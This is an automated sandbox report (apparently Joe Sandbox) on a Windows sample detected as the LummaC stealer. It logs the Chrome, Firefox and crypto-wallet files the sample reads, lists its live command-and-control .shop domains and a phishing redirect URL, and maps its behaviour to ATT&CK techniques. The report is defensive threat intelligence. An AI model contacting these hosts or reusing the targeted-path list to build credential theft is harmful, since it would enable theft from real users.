Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: qrLdMv1QXG.exe PID: 2504, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: qrLdMv1QXG.exe PID: 2504, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
qrLdMv1QXG.exe	39%	ReversingLabs	Win32.Packed.Generic
qrLdMv1QXG.exe	43%	Virustotal		Browse
qrLdMv1QXG.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
strollheavengwu.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
tolerateilusidjukl.shop	14%	Virustotal		Browse
liabilitynighstjsko.shop	1%	Virustotal		Browse
shortsvelventysjo.shop	1%	Virustotal		Browse
incredibleextedwj.shop	1%	Virustotal		Browse
https://strollheavengwu.shop/api	11%	Virustotal		Browse
shatterbreathepsw.shop	1%	Virustotal		Browse
demonstationfukewko.shop	1%	Virustotal		Browse
productivelookewr.shop	1%	Virustotal		Browse
strollheavengwu.shop	1%	Virustotal		Browse
alcojoldwograpciw.shop	1%	Virustotal		Browse
https://strollheavengwu.shop/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
strollheavengwu.shop	104.21.15.198	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
incredibleextedwj.shop	true	1%, Virustotal, Browse	unknown
shortsvelventysjo.shop	true	1%, Virustotal, Browse	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse	unknown
liabilitynighstjsko.shop	true	1%, Virustotal, Browse	unknown
https://strollheavengwu.shop/api	false	11%, Virustotal, Browse	unknown
shatterbreathepsw.shop	true	1%, Virustotal, Browse	unknown
demonstationfukewko.shop	true	1%, Virustotal, Browse	unknown
productivelookewr.shop	true	1%, Virustotal, Browse	unknown
strollheavengwu.shop	true	1%, Virustotal, Browse	unknown
alcojoldwograpciw.shop	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/9	qrLdMv1QXG.exe, 00000000.00000003.2046811412.0000000001D59000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/E	qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://strollheavengwu.shop/apies:	qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://strollheavengwu.shop/C1	qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/	qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2046811412.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D0C000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.15.198	strollheavengwu.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429205
Start date and time:	2024-04-21 10:02:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	qrLdMv1QXG.exe renamed because original name is a hash value
Original Sample Name:	7e4a8865ea7cf91c86ba9ba1711da71c.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/9@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 37 Number of non-executed functions: 105
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:02:56	API Interceptor	8x Sleep call for process: qrLdMv1QXG.exe modified
10:03:26	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.15.198	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse
104.21.15.198	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
strollheavengwu.shop	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	https://www.sigtn.com/utils/emt.cfm?client_id=9195153&campaign_id=73466&link=aHR0cHM6Ly9saW5rLm1haWwuYmVlaGlpdi5jb20vbHMvY2xpY2s/dXBuPXUwMDEucklvcWRaR1R1SGJzNzQ0S21jWTQzbm9GN25FNXlXdTZFcUlEQ1JQVW5LVlRsVDF5N0p0RTVORGVVSmxOU254Uk82V2lWVzB6akF4aVNnRXQ4S0dzZUdDb3N4OE9CV0tIQ1VyMmlaRXQ0LTJCM2EtMkZuWXhLOHNYNW1IZ0ZPZFd1VHpnUmNyMHdMYk52c0NadXktMkZiSXRoVDI4bi0yRjdCUy0yQmVINGxDRVExVTQxQU5xSS0zRFhBa0FfdWpTUjJaZ1VvcFZ3R0Y1eWNMcm5nS0Y1andZVnZoMHVzbGExV2Z5ZUs2QXJvYzFDOXFaY3NKZHlBVHNhVnFnZmxkNjlSOE1FQ3J6dHdtVUw5QkliUXRiM1VjUEwxanplbGNyNG1jZGFhdlZNZFE0ejA0ZHFqRC0yRkR4RVlVV1lLM3BjNTBsREpndVd5Z0NZMEZ2LTJGdG9kUkpjSzNjRlYwcDdMYS0yQlh1NjRveEtqVkpFUkV3WGJSekN0dTlZazJBSmgwQVVNeUxiOTVXWlBiTmxOQjlmTXRhbm41aDY2eDByMm5nR2k5QmJkLTJCdWd1Ync2Z092blJheXlKLTJGYXB3eHBSSHpxZHZER21pREhpR09kemxvQVRJQWkxMWR5ZWhpazY3NDRzQ2E3dzl0MWZqU2JvTWpXd1dvdXlVaDJPd0VyLTJCOHJDZTB1VjF6clJDTi0yQjh6Z2R4Y1JibkZ1a3JtNGVJbU5WQUJnSFMtMkZ1S2RrUDdrZkUxUm9PWlVGdWU3bzZkLTJGY3FpMUx2VXVpbW9VbmxzMjRseXRVQzNQdUpiOVlDZ0Zoc29LRlZOMUxvZXloOFFGTERUaEN4VjE5UC0yRmxCWTRpZURUI2V4cGVkaXRpbmdAYmVpbi5jb20=	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.37
	https://modemultiple.pages.dev/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://private.document-projeect.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.107
	https://document.propoosale-team.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.107
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.4.15

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.21.15.198
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.15.198
	pSfqOmM1DG.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_qrLdMv1QXG.exe_6f2fc2e5454b6ca343fbd4712c4948319d291f0_4915b7ca_140b9d2d-4e76-46c7-ad79-3a5aba1822de\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9941294451416329
Encrypted:	false
SSDEEP:	192:dxJc5HQiD0U7vNjtdF7zuiFLZ24IO8+Y:25HQiwU7vNjZzuiFLY4IO8+Y
MD5:	C96CABCE9C723642E6E9E48BEE22755A
SHA1:	AC0D1AC4755EB8E7758F21C3F58AFDBBAC1DE1BB
SHA-256:	5030A7848FC88853ABFD76B725B9E069AB5296B8FFC33330775449453801F461
SHA-512:	33F2A12DCC153C250AEA8B9A98557BB32344F7A01D79265E6DA038CDD5BCEFB01F70F00B5B1D7DEFFDC2EC8FEE5446F7A8913453CE598B1C78B34B9DF6EEC9DD
Malicious:	false
Reputation:	low
